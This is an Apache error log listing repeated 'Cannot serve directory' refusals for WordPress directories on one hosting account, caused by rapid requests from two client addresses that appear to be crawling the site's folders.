[Mon Apr 20 19:20:15.069281 2026] [autoindex:error] [pid 11351:tid 11404] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:15.353987 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:20.556832 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:20.813137 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:21.057460 2026] [autoindex:error] [pid 11351:tid 11396] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:21.279214 2026] [autoindex:error] [pid 11351:tid 11393] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:21.540318 2026] [autoindex:error] [pid 11351:tid 11389] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:21.789642 2026] [autoindex:error] [pid 11351:tid 11392] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:24.123902 2026] [autoindex:error] [pid 11351:tid 11411] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:24.368304 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:30.186084 2026] [autoindex:error] [pid 11351:tid 11396] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:34.176085 2026] [autoindex:error] [pid 11351:tid 11410] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:34.697126 2026] [autoindex:error] [pid 11351:tid 11407] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:40.075490 2026] [autoindex:error] [pid 11351:tid 11410] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:40.305313 2026] [autoindex:error] [pid 11351:tid 11399] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:45.941110 2026] [autoindex:error] [pid 11351:tid 11387] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:48.021406 2026] [autoindex:error] [pid 11351:tid 11399] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:50.237566 2026] [autoindex:error] [pid 11351:tid 11410] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:52.404411 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:52.670428 2026] [autoindex:error] [pid 11351:tid 11389] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:52.920919 2026] [autoindex:error] [pid 11351:tid 11390] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:57.161677 2026] [autoindex:error] [pid 11351:tid 11408] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:01.270754 2026] [autoindex:error] [pid 11351:tid 11388] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:01.527343 2026] [autoindex:error] [pid 11351:tid 11408] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:07.034159 2026] [autoindex:error] [pid 11351:tid 11396] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:09.037121 2026] [autoindex:error] [pid 11351:tid 11409] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:12.808022 2026] [autoindex:error] [pid 11351:tid 11398] [client 89.251.0.53:64735] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:16.785136 2026] [autoindex:error] [pid 11351:tid 11400] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:17.049483 2026] [autoindex:error] [pid 11351:tid 11403] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:17.281507 2026] [autoindex:error] [pid 11351:tid 11399] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:17.546497 2026] [autoindex:error] [pid 11351:tid 11409] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:17.784807 2026] [autoindex:error] [pid 11351:tid 11388] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:29.915537 2026] [autoindex:error] [pid 11441:tid 11443] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:30.143599 2026] [autoindex:error] [pid 11441:tid 11460] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:30.383581 2026] [autoindex:error] [pid 11441:tid 11453] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:30.616006 2026] [autoindex:error] [pid 11441:tid 11455] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:30.981287 2026] [autoindex:error] [pid 11441:tid 11454] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:40.745678 2026] [autoindex:error] [pid 11441:tid 11446] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:40.973432 2026] [autoindex:error] [pid 11441:tid 11448] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:41.201075 2026] [autoindex:error] [pid 11441:tid 11462] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:41.496566 2026] [autoindex:error] [pid 11441:tid 11452] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:41.715231 2026] [autoindex:error] [pid 11441:tid 11461] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:47.964117 2026] [autoindex:error] [pid 11441:tid 11452] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:52.953466 2026] [autoindex:error] [pid 11441:tid 11464] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:53.202079 2026] [autoindex:error] [pid 11441:tid 11448] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:21:54.945081 2026] [autoindex:error] [pid 11441:tid 11445] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:03.006974 2026] [autoindex:error] [pid 11441:tid 11457] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:03.317609 2026] [autoindex:error] [pid 11441:tid 11462] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:03.553337 2026] [autoindex:error] [pid 11441:tid 11447] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:03.798985 2026] [autoindex:error] [pid 11441:tid 11458] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:11.903427 2026] [autoindex:error] [pid 11441:tid 11444] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:13.701725 2026] [autoindex:error] [pid 11441:tid 11448] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:15.475160 2026] [autoindex:error] [pid 11441:tid 11461] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:40.392107 2026] [autoindex:error] [pid 11441:tid 11460] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:45.008275 2026] [autoindex:error] [pid 11441:tid 11445] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:45.242139 2026] [autoindex:error] [pid 11441:tid 11447] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:49.546079 2026] [autoindex:error] [pid 11441:tid 11449] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:22:51.766121 2026] [autoindex:error] [pid 11441:tid 11455] [client 89.251.0.56:58991] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
